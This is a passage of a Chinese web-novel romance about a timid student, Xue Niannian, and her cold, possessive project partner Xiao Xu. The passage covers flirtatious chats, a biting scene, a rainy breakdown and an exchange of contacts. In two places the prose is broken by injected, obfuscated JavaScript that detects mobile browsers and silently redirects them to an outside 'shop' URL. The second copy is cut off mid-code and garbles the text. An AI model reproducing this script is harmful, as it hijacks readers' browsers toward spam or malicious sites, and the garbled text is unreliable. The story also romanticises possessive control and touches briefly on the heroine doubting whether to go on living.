【》》如果我说不,你会很难受吗?】 【会,但是不用管】 【难受我也会很喜欢】肖余的喉结滚动了一下。 【相比那些不重要的事,我更在意你】 是吗…… 看到他的回复,薛年年却陷入了迷茫。 难受他也会喜欢,那为什么今早她把“肖序”捏痛,他看起来一点都不高兴? 她望着屏幕,不知为何,觉得她现在或许该说: 【》》我不想让你难受,但我也觉得这样很奇怪】 【》》所以我现在要问你一个问题,如果你答得好,就把……当作奖励,明白了吗?】 【……】 【奖励】 想要想要想要想要想要,想要她的奖励。 问什么都可以,任何事他都会答应。 肖余觉得他头脑有些发热,但此刻他竟然更想要奖励本身:【问吧,任何问题】 【》》那我问了】 【》》什么样的痛会让你不喜欢呢?】 【……确定只问这个?】 肖余觉得她最少也该问个银行卡密码什么的吧。 薛年年看到他的话,反而觉得莫名其妙:【》》现在是我在提问,你回答就是了!】 【》》你不能再打断我,我也是会生气的!】 竟然还会对他生气吗…… 肖余感觉她对他有点太好了。 他短促地喘了一声,强行让自己的大脑集中注意力,忍耐着回复道:【任何没有互动的痛我都不喜欢】 ……互动? 这又是什么意思?薛年年觉得她或许明白了些什么,却又好像完全没明白。 竟然是因为没有互动,所以肖序才不喜欢? 今早他对她说过一句话,“你可以什么都不做,不要妨碍我”。 看来这句话明显就是陷阱啊! 如果他喜欢“互动”,那她什么都不做的话,期末互-评肯定就只有二十分了! 更重要的应该是前面那句,他说:“我不说废话,也不喜欢被冒犯。” 如果他认为她单方面捏痛了他,是一种冒犯的话—— 那就得有来有往? 原来如此! 薛年年觉得她明白了一切! 心中有了确切的答案,她高高兴兴地打字道:【》》你回答得很好,可以了】 【……】 对方只发来六个点。 明明之前那么急切,现在得到了她的允许,怎么反而沉默了? 薛年年问他:【》》怎么了,不想要奖励吗?】 【不,我只是在思考,为什么你会问我这个问题】 【》》那你也可以再直接问我啊?】薛年年不觉得这是什么不能回答的事: 【》》因为我很想要多了解你】 肖余望着屏幕上出现的这句话,瞳孔不禁微微放大。 她竟然这么爱他? 他今天似乎震惊这个“事实”太多次了。 或许他之前都低估了她的想法…… 心里那些蠢蠢欲动,贪得无厌的计划,在一瞬间争先恐后地冒了出来。 之前有人说他会“蹬鼻子上脸”,大概没有说错—— 喜欢喜欢喜欢喜欢喜欢。 肖余面色潮红,按紧自己的腰腹问:【所以,我现在可以奖励自己了是吧,你允许了】 既然她爱他,那如果能在她的注视下……肖余得寸进尺地问:【甜心,你想看吗?】 【》》????我不要!】 【看一眼嘛就一眼,我喜欢你看着我】 【》》滚! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812718|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】“滚”字都还没有骂出去,一个视频电话就更加得寸进尺地发了过来。 薛年年立刻点了拒绝,生气地对他说:【到明天晚上为止你都不许和我说话!不然我会拉黑你的,我真的会!】 这句话发过去后,对面一直显示着“正在输入中……”,却没敢再回复。 薛年年将手机扔到一边,不准备再管他了。 肖序线上线下的性格实在太不一样了!她真得再多适应一下。 “人际交往”对于她来说是个巨大的大难题…… 想明白为什么今天早上,肖序不喜欢被她捏痛后。 薛年年才反应过来,她是真的非常笨拙,除了高考以外的事情什么都不懂。 很多事她不努力就完全做不到,但只要能达成目的,任何办法薛年年都愿意去尝试。 她得为自己的毕业证想想办法! 明天没有建模课,但老师说,让他们拿着《项目计划书》去找系主任签字。 那这是不是就意味着,肖序会去系主任的办公室? 很好,薛年年下定了决心。 她一定要和肖序在线下也好好相处,至少要加上他对外的联系方式,这样才算真正和他成了一个小组。 明天……互动。 …… 第二天早晨。 在时针指向9:00的最后一秒,肖序缓步踏入经济学院的办公楼。 他习惯于将一切都掌握在自己手中,规律、正确,不出任何差错。 他不需要任何队友。 不需要任何人,他也不喜欢被冒犯。 这么说了……她,也很快会从他身边离开了吧。 肖序眼眸微阖,走进前往二楼的入口。 刚踏入昏暗的楼梯间内,自动的灯光都还未开启,忽然—— 从角落里冒出了一个人影,用力拽住他的衣角,小声喊:“那个,那个,你别,别走那么快。” “……” 她还未出声时,肖序就意识到了是谁。 天花板上的灯光应声打开。 顶光洒在她的头顶,她低着头,肩膀颤抖着,似乎是用尽了全身的勇气才敢伸手拉住他。 肖序略微侧头,看到楼梯上,堆叠了好几本摊开的作业。 作业本上已经写满了百分之八十。 他心中一沉,问:“等了多久?” “昨天半夜……半夜我就过来了,因为,我不知道你今早会什么时候来。”薛年年脑袋晕乎乎的。 “但是没事,我在写作业!所以时间过得很快。” 肖序眉心皱起。 他想把放在他衣角上的手拂开,却发现苍白的手腕上,连血管的脉搏都微不可查。 又在胡闹…… 他不再回头,却也没有再甩开她,只冷淡道:“或许你没听懂我的意思,我不需要——” “听懂了!”薛年年抬起头,蓦然打断了他的话。 额前的碎发因为她的动作变得有些凌乱,那颗红色的小痣隐约藏在睫毛的阴影里。 她又重复了一遍:“我真的听懂了!” “你说你不喜欢被冒犯。”她的脸缓缓变红。 薛年年把拉住的衣角松开,小声说:“我,我没有想冒犯你,所以,如果你觉得不开心——” 互动…… 她鼓起勇气,冒着巨大的心理压力,将自己的掌心贴到他的手腕上,声音颤抖着说:“如果你想,你也可以像昨天一样,捏我一下。” “但是要轻轻的……好不好?我有一点怕。” 17. 第一次证明 “但是要轻轻的……好不好?我有一点怕。” 这么说着,薛年年的手紧贴过去。 她小时候被打得太多了,她很怕痛。 仅仅只是回忆,她的后背就不自觉变得紧绷,皮肤敏感得起了战栗。 她竭尽全力让自己不要太害怕,毕竟肖序私下里并不是一个很冷漠的人,相反,他在晚上对她有些过于“热情”了。 掌心下的皮肤冰凉到有些刺痛。 但就是这双手,“肖序”昨晚用它温柔地摸过猫,在得到她的允许后,这双手或许还奖励过——停! 大脑不停地在胡思乱想。 薛年年的思绪逐渐逸散,身体却依旧下意识地感到恐惧。 潜意识如同嘶吼般警告着她,大叫着让她赶快“逃离”。 薛年年却强迫自己停留在原地,抵抗着身体的自然反应。 她闻到肖序身上那股如同刀刃般冰冷的消毒水味越来越浓烈了。 刚刚说话时,她略微抬起了头,察觉到肖序一直在面无表情地注视着她。 薛年年不明白他现在是什么意思。 他没有走,但他也始终无动于衷。 手一直伸着,动作僵硬得让她手臂有些酸痛。 ……她失败了吗? 或许她提供的互动方式并不正确?又或许昨晚“肖序”只是在营业,他回答的话都只是在敷衍她? 薛年年想不明白,她紧张地等待着,面前的人却依旧没有任何反应。 时间一分一秒地过去。 窗外天色越来越暗,乌云逐渐聚集。 在闷热的天气里,空中的水汽变得格外凝重。 “啪嗒——” 一滴雨打在玻璃上。 雨水接连不断地砸下来,噼啪的雨落声让薛年年瞬间惊醒。 她望着面前毫无反应的肖序,忽然觉得,她不能再这样没有意义地等下去! 她在人际交往方面实在太差劲了,反应又慢,胆子又小,还很容易感到害怕…… 但既然都已经这么困难了,那索性——就别管用什么办法了吧? 肖序冷淡的目光里毫无情绪波动,却又任由她拉着,一直没有走。 这是什么意思……或许她根本就不用去猜是什么意思! 没错。 能解决问题就行了吧? 薛年年忽然拽过他的手腕,在肖序的骨节处狠狠地咬了下去。 她用力得几乎像是在泄愤。 薛年年咬紧骨节处那块冰凉的皮肤,那股激烈的薄荷味瞬间盈满了她的口腔。 肖序不是喜欢“被咬”吗? 这样的“痛”够不够,至少比捏更像“互动”一点吧? 薛年年用力地咬着,随着力度加深,她逐渐感觉到一股血腥味蔓延开来。 啊,不对,咬破了? 是不是该停—— “唔……” 薛年年正在思考该不该停下,突然,她被强迫着抬起头,看到了肖序灰蓝色的眼睛。 额前的碎发变得有些凌乱。 肖序目光微动。 他用手控制住她的下颌,让她仰起头,目光只能望向他。 嘴角沾染上了湿润的红色。 似乎是觉得不适应,她的眼神格外迷茫,却又无意识用舌尖轻轻舔了一下那抹红色。 湿润,殷红…… 一股混合着微痛的痒意,顺着手腕直通向他的脑海。 肖序觉察到了疼痛。 不是来自于手腕上的咬痕,而是来自于脑海深处那股似是啃噬,又像是烙印般的痛苦。 薛年年……这个突然出现在他面前的生物,很奇怪。 他每一次见到她,她都在不停地害怕,受伤,又要执着地去承受一些不应有的伤害与困境。 动物不应该趋利避害吗? 肖余总说,他已经疯到把世上所有人都当成猴子。 这是误解。 他本意并非如此。 猴子——或者说动物,大多数时候,只是在陈述事实而已。 但薛年年,她似乎并不懂得动物的趋利避害这一点。 她害怕他,却还会强迫自己靠近他。 令人疑惑地莽撞……以及,如同烈阳般倔强的脾气。 “别动。” 他让她再次仰起头,用另一只手的指节缓缓抹掉她嘴角的血痕。 指尖触碰到了那抹湿润的红色,或许那也是腥咸,苦涩的……就像她的眼泪一样。 他不想去管薛年年为什么忽然要咬他,或许是气愤他的态度,又或许是因为其他,那些都不重要。 手指不自觉加重了力度。 “嘶——” 她的嘴角被他擦出了一道红痕,眼眸中瞬间蒙上了一层模糊的水雾。 又要哭吗? 然而她还是没有躲避。 空气中弥漫着腥甜的味道,混合着雨水,从指尖传来的湿润感让肖序莫名感觉到了一丝满足。 偶尔还是该遵循一下本能吧…… 他望向她,语调放轻却依旧冷漠道:“会痛吗?” “还,还好?”薛年年已经懵了。 或者说她已经懵了好久,从被肖序抬起下巴的那一刻起,她的大脑就一直处于一片真空状态。 ……该说真不愧是直播界鼎鼎有名的擦边主播吗? 原来这才叫互动啊! 薛年年觉得她自己之前想的什么“捏”啊,“咬”啊都太小儿科了! 肖序的本性果然很热情! 薛年年觉得她刚刚学到了好多。 她想了想,尝试着用嘴角轻轻蹭了一下他的指节,感觉到肖序的手腕似乎颤动了一下。 “嗯……你力度控制得很好,我没有感觉痛。”薛年年立刻开始夸夸他。 她略微低头,又问道,“但是你需要用纸巾擦一擦吗?血都沾到手上了。” 肖序没有回答,只用带血的指节轻碰了一下她的眼角。 薛年年下意识闭上眼,没明白他这又是什么意思。 不过……她都把他咬出血了,肖序都没什么太大的反应。 这就表明他应该是喜欢这样的吧? m的心思真是深不可测啊—— 看起来肖序似乎的确很喜欢有“互动”的痛。 昨晚他没有骗她! 趁他心情还好,薛年年鼓起勇气,红着脸小声说:“你消气了吧,我昨天真的没有想冒犯你,我们可不可以好好地——继续当队友啊,我真的会帮上忙的!” 落在她眼角的手指略微一停。 肖序收回手,缓声说:“会帮上忙吗……” “证明给我看吧。” 他的目光忽然又恢复了往日的冷淡,瞳孔中的灰蓝色就如同窗外翻涌的乌云。 ……证明? 薛年年不太理解。 她看到肖序收回手后,余光扫过台阶说:“你的作业,大部分都写错了。” 薛年年懵懵地摸了一下自己的头发说:“我也知道……可总要先写完吧,不然连步骤分都没有了。” 但肖序似乎并不接受她的辩解,只冷声说:“这里是大学,结果不对,就没有意义。” “……” “如果你想要继续,就必须证明给我看。” 他不接受薛年年以一个过于随意的理由,比如“要去追求其他人”——这种莽撞又愚蠢的理由,来侵入他的边界。 肖序现在很清醒。 她的水平并不足以继续,但如果想要得到他的帮助。 她就必须给出一个能让他接受的原因。 他的目光逐渐凝固,视线如同冰凉的手术刀刃般剜过她的皮肤。 薛年年下意识抖了一下,却又很快说服了自己说:“那我该怎么证明啊……又要证明些什么呢?” 能力——亦或决心。 肖序缓缓抹掉手上凝固的血,说:“这就是你该思考的事情了。” “想好了到四楼来找我。” 话音落下,肖序错身从她旁边离开,留下的背影冷淡又疏离。 薛年年愣愣地站在原地,察觉到空气里那股混合着血腥气的薄荷味,在他离开的瞬间,消散了。 不对,等等……什么啊? 肖序—— 他怎么又走了? 不是都已经“互动”过了吗?怎么还是不能和她好好相处啊! 薛年年有些委屈地缩成一团,觉得他在白天故意营造的这个“高冷人设”有点太难搞了。 为什么话总是说一半啊……不要一直让她猜嘛。 薛年年安静地蹲在昏暗的楼梯间里,像是在充电一般,独自呆了一会。 “互动”耗尽了她的社交能量,但今天的天气实在太过潮湿了。 窗外下着雨,室内闷热得像是刚洗完澡的浴室。 薛年年在角落里待了一会,感到胸口有些呼吸不畅。 她缓缓从地上站起,拿好作业,推开门,想到外面的空地里去透透气。 刚一触碰到门把手,忽然,“吱呀——” 门自动被拉开了。 薛年年疑惑地抬起头,看到门外站着一个熟悉的身影。 那个人也立刻认出了她,脸色变得又红又黑,像是快坏掉的苹果。 柳思睿震惊地望着楼梯间里的薛年年,感觉她就像个阴魂不散的女鬼一样,一直抓着他不放! 救命,她怎么会在这里? 柳思睿盯着面前这个头发遮住大半张脸,皮肤苍白得像鬼一样的人说: “你,你你你,你在这等多久了?!”他的话都要说不完整了。 薛年年被闷得晕乎乎的,有些茫然地看着他说:“我昨天半夜就来了啊……” 什么??? 柳思睿简直要被吓傻了! 他张了张嘴,没能说出任何话,过了许久,才勉强找回了自己的声音说: “不至于吧——等等,你让我理一下,薛年年,你是不是有病啊!” 薛年年呆呆地望着他,不知道他为什么忽然这么说。 但她等不了了,直接拽了一下柳思睿的衣角说: “我们先到外面去吧,这里面好闷。” 她侧了侧身,想从他旁边挤出去。 柳思睿被她的动作吓了一跳,猛地往后退了一大步,立刻远离了她。 经济学院的办公楼是一个“回”字型。 中间是空地,四周围绕着高耸的楼房。 从闷热的楼梯间里钻出,来到空地上,薛年年感到浑身都轻松了一些。 虽然没有遮蔽,头顶有些飘散的小雨,但目前雨势并不算大,还算可以忍受。 周围也没有其他人,她不必有心理压力,现在她面前的人就只有自己的表哥。 薛年年回过头,尝试着朝柳思睿友好地笑了笑,说:“今天你也是,是来找系主任签字的吗?” 柳思睿:“……!” 老天,这个变态女果然是来堵他的! 太可怕了,她究竟想要干什么?? 柳思睿满脸通红地瞥了一眼她浅绿色的上衣。 他的目光怔了怔,又低头望向自己今天穿的深绿色短袖,脸更红了: “你你你怎么又——” 薛年年今天竟然又故意和他穿情侣装! 她怎么知道他每天都穿什么颜色? 难道她每天什么正事都不干,就只知道躲在角落里偷偷跟踪他吗? 不行!这绝对不行!! 不能再让她继续这样下去,跟踪可是犯罪啊! 再这么下去,他的心脏病都要被她吓出来了! 柳思睿故意板起脸,想把这件事说严重一些,耳根却又忍不住悄悄变红。 他纠结了许久,嘴张了又张,最后只能大声质问道:“你究竟为什么要一直跟着我?!” 薛年年本想说她没有一直跟着他,但现在——似乎是个说正事的好机会! 她赶紧上前一步,急切道:“因为我想去你家啊!” 她在刚开学的时候就该去表哥家做客了,结果一直拖到现在都没能成行。 薛年年不知道为什么要拖这么久。 她的社交技巧很烂,去一个新环境见生人之前,要做很久很久,巨大巨大的心理准备。 虽然只是去亲戚家拜访而已……但就像不知道自己服刑日期的死刑犯一样。 本来可以给她一个痛快的,结果现在一直拖着,薛年年越做心理准备,就越觉得害怕。 她急切的语气丝毫不作伪。 柳思睿目瞪口呆地望着他,觉得现在的女孩子实在是过于主动了!! 去他家干嘛? 他爸妈现在都不在,两个人老早就不知道又被派去哪,去执行秘密公务去了! 现在他家里就只有警卫员和保姆,难道薛年年就是知道这一点,才故意想去他家,和他一起—— “你都不会害羞的吗!!!” 柳思睿被自己的联想惊得大脑充血,耳根爆红。 薛年年呆呆地望着他,没懂他什么意思,只能又拽紧他的衣袖说: “别管那些了,真的,快让我去吧!” 赶紧让她服完刑吧! 要不是在上学前,姥姥专门嘱咐过她,让她一定要礼貌地登门去拜访柳思睿的妈妈,薛年年才不会像现在这样。 她有时候做梦都记挂着这件事,实在是不想再等了! 薛年年在心里默默碎碎念,说话的语调也越发急切。 柳思睿被她吓得不停往后退,手上用力想把她甩开,薛年年却又执着地跟上他,不让他走。 两个人在空地上拉拉扯扯,一进一退。 楼上办公区域,四层。 肖序半靠在窗前,余光注视着她缓慢移动的影子。 “肖——外面有什么东西吗?”肖大少爷? 一旁的人没敢把那个称呼喊出声。 “……” 肖序略微侧头,只沉声道:“与你无关。” “好,好吧。” 那个人不敢再多问,只把签好了的文件双手递给他说,“今早我找导师签好字了,其实都不用您亲自过来取,我找个时间给您送过去就行了。” 肖序沉默地将文件接过,没有再理他。 他这副目中无人的态度完全就不像个学生。 但谁叫他现在有求于人,而对方又确实手眼通天呢…… 那个人咳嗽了一声,强行缓解了一下尴尬说:“还有,刚刚我给您说的那件事——后续条款能通过吗?” “回去等着。” 肖序垂下眼眸,声音冷淡,似乎是在下逐客令。 ……可这是我的办公室啊??? 一旁的人大脑空白了一瞬,反应过来,却也只能灰溜溜地开始收拾东西,给这个小他十多岁的大少爷留出私人空间。 他灰头土脸地拿起自己的东西,像做贼一般轻手轻脚地离开。 空荡荡的房间里瞬间只剩一个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她下意识松开了柳思睿的衣服,委屈地低下头说: “为什么你不愿意带我去啊……” 柳思睿都不敢在原地多待。 衣服一被她放开,他立刻拽走一旁看热闹的人,拉着他赶紧躲进了楼梯间里。 薛年年被独自留在了空地上。 她低着头,站在雨里。 头顶的雨幕越来越密集,身上的衣服逐渐被打湿—— ……她是不是又被讨厌了? 在她的老家,所有人都很讨厌她,他们欺负她,不愿意靠近她,每个人都离她远远的,就像柳思睿一样。 一时有些不知所措,薛年年缓慢地蹲下来,感觉到自己的身体在逐渐变冷。 大学一点都不好。 根本就不像妈妈描述的那样,是个自由,轻松,又能带来希望的地方。 这里和高中没有什么不同。 永无止境的作业,繁杂的课程,永远在卷绩点和排名的同学…… 妈妈究竟为什么一定要让她考上好大学呢? 她学不懂课程,和同学相处得不好,现在连去“亲戚家做客”这么一个简单的任务都做不到。 为什么高考过后,她还要继续活下去啊? 薛年年觉得她的生命和记忆,似乎都截止在了高考完结的那一天。 大学……和高中一样,没有给她带来任何快乐的回忆。 那她为什么要上大学呢? 薛年年想不明白。 她抬起头,雨水噼啪地打在她的脸上,温热的液体从她的眼眶中滚落。 薛年年觉得她现在不该思考这些。 但她想要毕业,想要完成姥姥布置的任务,想要做得更好,想要—— 她想要知道她以后究竟能干些什么…… 她像是枯萎了一般蜷缩成一团,抱紧自己的膝盖。 垂头丧气,哭得全身都在颤抖。 脚步却依旧停留在原地,倔强地不肯离开。 空气里弥漫着一种无声,却随时可以爆发的紧绷感。 就像一张无形的网。 时间一分一秒地过去。 “……” 没必要再看了。 他的判断有误。 肖序从半靠的姿势起身,离开窗前。 想要得到理性的判断,就必须抛弃非理性的直觉。 或许她拥有的并不是“过于随意”的理由——她是认真的。 决心……如果不管她,她又会独自等到晚上吧。 肖序进入昏暗的楼梯间。 同时,楼梯间内,柳思睿气冲冲地拽着人,往四楼走去。 一旁的人凑上来问他:“柳哥,刚刚那个女的——不会就是之前给你送壮阳药告白的人吧?” “闭嘴!”柳思睿的脸黑沉得都要滴出水了。 “哎哟,竟然真是啊!”他故意大呼小叫起来: “再跟我讲讲,那个女的是谁啊?她追你多久了,怎么刚好像还和你穿上情侣装了哈哈!” “别问了,很恶心!她很恶心,你这个问题也很恶心!” “你现在这副凶脸,脾气也不好,人家女孩子究竟喜欢你什么啊?” “你问我我怎么知道!” 柳思睿恶狠狠地吼他,想让他别鬼叫。 还未回过神,一个漆黑的身影忽然从他旁边错身而过。 身旁卷起一阵细微又锐利的气流。 “不对,等等,刚刚那是肖序吗?”柳思睿猛然回头。 “看错了吧,他来这里干什么?不可能是他吧。” 一旁的人又拉回话题,故意道,“那你就对那个女生一点感觉都没有吗?” “她人很奇怪,打扮得也奇怪,头发一直遮着脸,长得应该也不怎样,我能喜欢她什么?” “哎说这种话,你没谈过恋爱吧?” 一旁的人了然般笑了笑,说:“如果你喜欢她,那长相,性格,这些都不是重要的东西,我是说——” “你有没有在她的眼睛里,见到过一种很微弱但是很动人的光芒。” …… 乌云雨下。 肖序推开门,走进苍白的雨幕里。 雨水中央,冰凉的雨滴将她的皮肤浇灭到透明。 地面上蔓起了水雾,弥漫的雾气将她蜷缩的身形包裹。 他走过去,站在她面前。 薛年年看到了他的影子。 她忽然抬起头,拽紧面前的人的手腕。 摸到那枚凹陷下去的咬痕,薛年年像是终于忍耐不住般,望着他,压抑着声音哭了起来: “可是我就是很想要嘛!我就是想要……很想要,很想……” 语调如同失控,她不断重复。 她的眼睛在雨水中被打湿,一滴殷红在她的眼角坠落。 肖序站在她面前,看到她茫然地望着他,哭得喘不过气,却像是只会说这一句话。 “我是真的很想,很想要……很想很想,很想要。” 他略微垂眸,轻声说:“好。” “我要,我要那个——” “嗯。” 耳边的气息逐渐微弱,只剩下她哽咽的哭泣声:“都,呜……我要。” “没事。”都可以。 咸涩的雨水咬进他的伤口。 痛觉持续。 可以……他会给她想要的东西。 18. 第一次谈恋爱 雨下得太大了。 薛年年缩在地上,看不清面前的人是谁,也听不清他说的话。 她被雨浇得迷迷糊糊的,脑子里融成了一团浆糊,只是凭本能拉住他的手,摸到那枚凹陷下去的咬痕时才能感到安心。 至少现在在她面前的……是她认识的人吧。 她觉得自己快没有意识了。 雨水带走了她全身的温度,她被冻得浑身都在颤抖。 “回去了。” 耳边传来雨滴落地的声音。 在混乱又嘈杂的雨声里,她奋力仰起头,睁开眼,尝试着去辨别他模糊的轮廓。 掌心处是滚烫的温度。 忽然,她感觉到自己的手被反握住,面前的人似乎是要把她拉起。 虽然他似乎是她认识的人,但薛年年却下意识抗拒起了他的动作,缩在地上不想起来: “我,我不走,我还要想明白,要怎么证明啊……还要,我不——” 然后她就被提走了。 没错,真的是提。 话音还未落,她就傻呆呆地被人强行带走。 薛年年的大脑勉强回过神来的时候,眼前的景象已经变得天翻地覆。 她湿淋淋地坐在一间办公室里,脑袋上搭着一条干燥清爽的毛巾,手里还莫名奇妙被塞了一杯热腾腾的茶水。 ……这些东西是从哪来的? 她试图回忆,脑子里却依旧一片空白。 薛年年呆呆地捧着热茶,缩在沙发上,迷茫地眨了眨眼。 她下意识晃了晃自己的脑袋,想变得更清醒一些,睫毛上的水珠被她晃得掉落下来,“啪嗒——”滴在大腿上。 “还想要哭吗?” 耳边又传来那个人的声音。 语调很熟悉,薛年年愣了愣,不确定地回答道:“我……还好?” 似乎是反应过来她现在的形象很狼狈,她的脸逐渐变红,有点不自在地拽了拽自己湿透的衣服下摆。 “……” 肖序移开视线,不再看她。 他半靠在沙发的扶手边缘,大脑在思考着刚刚他为什么要把薛年年带回来。 要是继续推开她,她还会再跟上来。 为了避免更多的麻烦,把她带回来是很合理的选择。 嗯,这是正确的。 肖序很快略过这个小问题,思索起薛年年之前一直说的“想要”,要的是什么。 ……想要人吗? 他能把那个人给她捆回来,但这似乎没什么用,而且——这个画面蠢得有点过分了,他目前不想看到。 肖序略微皱眉,直接出声问:“你是想要那个人吗?” “……那个人?” 薛年年脑子懵懵的,茫然地跟着他重复了一遍。 她勉强思考了一下,大概能想到他说的是谁,语调飘忽道:“我和他——” “我对你的私生活没兴趣。” 肖序打断她的话。 他没什么多余的耐心:“只需要告诉我,要什么,就够了。” 薛年年愣愣地望向他,大脑像被这句话猛然打开了阀门。 处于脑海深处的记忆全部倾倒了出来。 被他一提醒,她这才反应过来,之前她蹲在地上怎么都不愿意起来,还要闹脾气说“就是想要,很想要”的行为有多任性。 最后她竟然还是被提走的…… 穿着衣服都看不太出来!肖序的手臂力量,真的,很强啊!! 都来不及感到尴尬,大脑就又开始胡思乱想。 薛年年的余光不自觉瞄了一眼他的手臂,瞬间低下头掩饰说: “没,没关系,我想要的都挺难办到的。” 肖序察觉到了她莫名其妙的视线,却没在意。 他并不觉得有办不到的事情:“先说。” 他的脸上依旧没有多余的表情,语调也冷冷淡淡的。 但既然他愿意留下来和她“正常沟通”,是不是就表明—— 现在能说正事啊? 能达到目的就别管用什么办法了! 薛年年攥紧自己的手心,鼓起勇气说:“那我,我能不能要你的私人联系方式啊!” “你不讨厌我吧?如果不讨厌的话,我能不能以后再向你证明……先加上好友行不行?” “之后你可以随时把你的行程发给我,我真的不想再大半夜到学校里来堵你了!” 她为了今早来找肖序,昨晚几乎就没睡。 熬了一晚上的夜,现在又淋了雨,薛年年觉得自己能撑到现在都是个奇迹! 她觉得她提的要求很合理,毕竟其他小组的人都是上课第一天就交换联系方式了。 然而听到她的话后,肖序却莫名沉默了。 空气变得格外凝重。 过了好几秒,他忽然对她说:“十分钟。” 薛年年:“……?” 肖序按了按她搭着毛巾的脑袋,离开房间,拨通了一个电话。 电话铃响了很久,在几乎要自动停止时才被接起。 “……你知道现在是几点吗大哥?”对面接起后,语调中全是不满。 肖序缓声说:“纽约时间晚上十一点四十二分,不是你的睡眠时间。” “的确不是,但你也不该现在联系我啊。”肖余声音懒散道,“每月的十五号不是还没到吗?” “特殊情况在附加条款里有写明,你该回去把合同好好看一遍。” “……” 对面陷入沉默,似乎是对他的说法感到很无语,“……我就不该接你的电话。” “你已经接了。”肖序觉得他在浪费时间。 “是的我接了,那又怎么样?” 肖余问他,“所以究竟有什么特殊情况值得你专门给我打个电话,要世界末日了?” “不。”肖序忽略掉他散漫的语气,冷声道, “按照程序,我之后会将合同上的一些条款进行修改,修改后的内容会影响到你对正当权益的使用。” “……哈?”肖余怔了一下,疑惑道, “你是说那个写了几点可以给你打电话,哪一天可以和你见面的合同?想改就改啊,告诉我干什么,难道还要征求我的同意吗?” “只是通知你而已。” 肖序效率极高地说完正事,立刻挂断电话。 肖余却忽然起了兴趣:“等等,不对,你为什么要改这个玩意儿?” 肖序本想说与你无关,但这是弟弟。 他思考了两秒,只说:“暂时有一个需要定期见面的人。” “什么,你要结婚了???”肖余震惊道。 “……这个玩笑并不好笑。” “我没有在开玩笑,除了要签婚前合同,你还会给谁单独留个时间出来?”肖余越想越觉得震惊。 肖序缓声道:“同学而已。” 肖余没忍住笑出了声:“……只是同学?” “上个月十五号的时候这个人都还没有出现,才几天,你就要因为她改合同,你干脆把里面列的其他‘正当权益’全都送给她得了。” “我在思考。” 肖序认真考虑起来,“可以吗?” “可以啊。”肖余要笑死了,“不过不谈恋爱,直接一步到位把她当家人吗……你果然是个疯子。” “我很正常。”肖序略微皱眉:“现在我很清醒,我只是在正确对待她。” “……你确定?” 那个诡异的合同他可完整看过。 里面的内容和监护重症病人没什么两样,甚至还有点像声明抚养权的法律文件…… 肖余又问了一遍:“你确定你还清醒?才认识几天,你别把嫂子给吓跑了。” “不是嫂子,她也不会跑。” 肖序一字一句地回答道,“改完后,我会把含有她相关内容的新合同发给你。” “免了,我对你老婆不感兴趣。” “不是我的妻子。” “迟早的事,你都只把她当个人不是猴子了,还有什么好说的?” 肖余一点都不怀疑这件事的可行性,“不过稍微有点惊讶,你的大脑里竟然真的有情绪器官吗?” “我的器官都很健康。”肖序补充道,“而且我也把你当成人类,弟弟。” “那真是谢谢你了。” “不客气。” “……你也和她这么说话吗,亲哥?” 肖余觉得这通电话要是再打下去,他就要高血压了,“都这样了她还喜欢你?你老婆为了钱还真是能忍啊。” 薛年年喜不喜欢钱还没确认过。 “她不喜欢我。” 肖序忽略了他的称呼,确定道,“她有其他喜欢的——嗯,人。” 肖余:“…………” 肖余:“??????” “你说什么?不对,这个世界上怎么可能会有人看不上你?” 原本只是在开玩笑,现在肖余却忽然笑不出来了。 虽然很不想承认,但他亲哥确实是除了脑子有病以外几乎完美的赛级人类。 肖余质问他:“你顶着的可是我的脸,她难道恋丑吗??等等,她知道你是谁吗?还是说你就只是在一旁看着?” “……” 肖序觉得他的猜测毫无意义,“我对她的私生活不感兴趣,她喜欢谁也与我无关。” 那你还为了她改那么多行程? “你最好真的不感兴趣。” 肖序的强迫症不是一天两天了,说他脑子有病是事实,不是在骂人。 为了摆脱基因的影响,肖序简直把他自己当成仇人来警惕。 这疯子都快自律到变态了,现在为了一个莫名其妙的女的改行程? 肖余觉得他还在嘴硬:“与你无关?想象一下,你能接受另一个人和她结婚,抚摸她,拥抱她,亲——” “明白了。”肖序打断他的话。 肖余也懒得再和他多说,他根本就不觉得肖序会比不过外面的黄毛: “你懂就行,我挂了。” “嗯。” 通知完毕。 挂断电话后,肖序看了一眼时间,离“十分钟”还差一分十五秒。 他站在原地,沉默了一会,大脑中闪回过刚才和肖余的通话。 她和另一个人—— 他不会允许有人来触碰他的所有物。 眸色变暗,肖序回到室内。 “叮铃铃!” 门刚打开,薛年年故意定的闹钟就大声响了起来,刚好十分钟。 她本来还缩在沙发上,抱着手里的热茶在喝,结果被铃声吓得呛了一下,咳嗽得眼角发红。 她强忍着咳出的眼泪,一边咳一边说:“咳……你,你回来了,抱歉,咳咳咳。” “先停。”肖序没有管再次被雨水沾湿的衣袖,随手接过她掌心里那杯热水。 他把杯子放到一边,免得她又把她自己搞得一团糟。 薛年年咳得喘不过气,只能先闭上嘴,耷拉着脑袋缓一会。 过了好久,她才又仰起头,拽了一下肖序的衣角,迷迷糊糊地和他说: “我好像感冒了……” 她说话的声音很轻,眼角的那颗小痣红到像干涸的血滴,望向他的眼睛却是湿漉漉的。 从见到她的第一天起,他大脑深处的痛感就没有消失过。 肖序觉得,他或许也得了一点感冒。 这是他的东西,他不会交给别人。 肖序直接问:“去我家?”有家庭医生。 “……啊?”薛年年都没意识到他说了什么,只晃了晃晕乎乎的脑袋说: “我要回宿舍休息……嗯没错,回去睡觉,睡觉就会好起来的。” “……” 肖序想了想,只先将手机递给她说:“你要的东西。” “啊,对的!差点忘记了。”薛年年凑过去,把他的聊天软件打开,快速加上了他的联系方式。 